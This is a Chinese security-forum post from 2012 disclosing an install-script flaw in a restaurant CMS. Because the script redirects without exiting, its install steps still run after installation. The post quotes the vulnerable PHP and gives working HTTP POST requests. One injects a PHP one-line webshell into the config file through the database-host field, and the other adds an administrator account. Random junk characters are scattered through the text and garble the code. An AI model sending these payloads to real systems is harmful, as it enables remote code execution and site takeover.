找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2289|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。) \5 q7 }$ Y/ `4 ~: Q; H  y

# L4 u, H) a+ B' e, B<?php
; V6 a1 S% G8 I% X) c; Y# ^if(file_exists("../install.lock"))
$ A! c' F. @& C9 r7 o{
1 t- }( h: @5 _$ H+ @  l    header("Location: ../");//没有退出* i; x7 ~7 g% D5 M; a0 R2 _+ W- N
}
" ]! g" n- m) T. X$ r7 O               
0 W- N6 f  i  w# o7 W- G- @//echo 'tst';exit;
) T+ R* n2 S4 L0 ]* l  B2 Drequire_once("init.php");
$ R6 G! N( t7 G6 v7 T5 ^. w! o' Aif(empty($_REQUEST['step']) || $_REQUEST['step']==1). ?0 C6 u6 c, k
{8 W2 _2 L) x8 @3 x, l# {' y5 D; A( y  v
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。9 g9 z" v* t: e3 q" Z
$ u# Z4 k- g0 F' O% ^8 U
1、getshell(很危险)
* g- ?5 H! R4 c* v7 fif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
4 Z2 k0 [" k( h{, @3 a* N9 H: |( c/ {! r  A
$smarty->assign("step",1);* ]+ x$ P, j) s  j. g
$smarty->display("index.html");0 d- a& A/ |$ X2 `' ]
}elseif($_REQUEST['step']==2)5 s* N% W% K2 q! ~, ?
{; d( J( r) w: e
    $mysql_host=trim($_POST['mysql_host']);
' [: k9 s( C1 y    $mysql_user=trim($_POST['mysql_user']);
# R" L3 y3 I: l% o5 l  K2 z9 D" u    $mysql_pwd=trim($_POST['mysql_pwd']);
: u/ Q) K! H3 N  D1 b* B+ _$ E6 @    $mysql_db=trim($_POST['mysql_db']);
9 t" G1 \6 a5 Y" z8 \3 x' n" E    $tblpre=trim($_POST['tblpre']);
3 S9 K* ^' z! x9 W    $domain==trim($_POST['domain']);
, P0 L3 A! S2 Y. B# K    $str="<?php \r\n";* n7 ]" K. d$ c& z6 K4 c* f
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
/ P7 i. V7 k) p    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
: v, B' w: D3 K5 t) V    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";# A' q7 }$ W3 F0 E
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";- d  `' y  c" {4 C% t' Z" T
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
7 v0 ~' A9 P) ^% p: D; J  w    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
! N! I1 {! Y) w* b  z* \    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
6 {6 Z5 a: m: Y6 P5 B    $str.='define("SKINS","default");'."\r\n";1 W' I# C* e4 u& F5 R6 K: Q
    $str.='?>';6 T* G& F) s. r+ K( W; t
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
- a+ P% }2 n6 K5 R上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马& n4 m: q0 g1 ^/ O( O
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
: Y4 j5 [9 \: ?2 I; \" cHost: 192.168.80.1299 G/ ~- ?/ d9 J- |6 D4 N) m
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0% @4 a. k7 {, b4 O
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' r. P( a* g, c$ K, JAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.37 m/ w: n9 h' Q( P5 J
Accept-Encoding: gzip, deflate
5 q. y$ C4 E" M+ n: ]2 o% VReferer: http://192.168.80.129/canting/install/index.php?step=1
2 }( T' i) P) I) e) |6 i* RCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
) ?2 t2 l( Z+ k# S: r, [Content-Type: application/x-www-form-urlencoded
* J, I  Q* _/ Y0 N! `Content-Length: 1263 ?+ v8 x8 {( U( @/ ~
          ! T" z' b, \4 o0 L( w9 I
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
$ o0 {. T1 o# l! K7 y  d0 G但是这个方法很危险,将导致网站无法运行。9 T  x/ U, B1 w2 ^9 C3 Z' L+ X

7 Z/ g( f$ |7 @. O2、直接添加管理员- h5 u. ?) Y8 i; u1 Z! F3 ]( ~

$ g9 h; d' r* telseif($_REQUEST['step']==5)7 n; a3 g8 Q8 b
{
7 m7 K. H) `3 G    if($_POST)
" f  B2 t- @! r2 f& p2 G/ U    {   require_once("../config/config.inc.php");! l  L1 l; O# `) H$ V
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
9 L. F$ Y" g  g: E& h0 J- P4 Y, X        mysql_select_db(MYSQL_DB,$link);
' U3 ?1 F" u- t* k  D        mysql_query("SET NAMES ".MYSQL_CHARSET );
% C: u7 x8 o- H         mysql_query("SET sql_mode=''");
3 u. U0 z0 T% L* r; M" x/ \# f! i) J9 j0 N: s- z. _
$adminname=trim($_POST['adminname']);; V* n- T3 p3 h
        $pwd1=trim($_POST['pwd1']);
( U) B, T; W! i        $pwd2=trim($_POST['pwd2']);
; P& S% Z, ]7 ^+ B$ P        if(empty($adminname))
$ O  W+ ~) M- {        {
2 {( ^; M$ a6 N& x( _" @' x0 l
! V. z! t+ y5 Y4 q+ \0 G echo "<script>alert('管理员不能为空');history.go(-1);</script>";5 e/ \- F4 p" e  f( V" i% T
            exit();
2 B  V. {& C9 F# L7 A        }
$ ]) D' F# J2 i/ j        if(($pwd1!=$pwd2) or empty($pwd1))
8 Y* [/ r4 }( R3 p& `1 N        {
1 N8 S2 Z5 b! o/ s3 T            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
' C2 g+ O1 u* Y2 m4 l2 t& E        }
+ r) f- M; x8 n: A- X        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员! f2 E7 f" q4 a1 V( G; G& ]
    }
( P: x. Y9 r" J这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:% S7 F8 @1 v4 F: j: F9 ]8 G. O
POST /canting/install/index.php?m=index&step=5 HTTP/1.1( x6 b5 f+ ^; U; Z5 G
Host: 192.168.80.129" W2 H1 m2 z: g: o
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
3 T& I& @) U+ HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 s/ I( t- ]: W  Y6 `1 @Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
  h" K# p( G$ j2 k) LAccept-Encoding: gzip, deflate3 p* G. Y1 D) M# Q2 G% t2 i! L* E
Referer: http://www.2cto.com /canting/install/index.php?step=1' w" a: ]( u: l% g' E+ O' p
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc422 ]) K1 X/ k2 B2 _- b
Content-Type: application/x-www-form-urlencoded/ ]- ^. i6 l! c0 v1 s2 S% J
Content-Length: 46) N$ b9 g' e: L* e. V* o
      & v  _* `6 e% O1 |
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
/ b# u5 v% w& ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表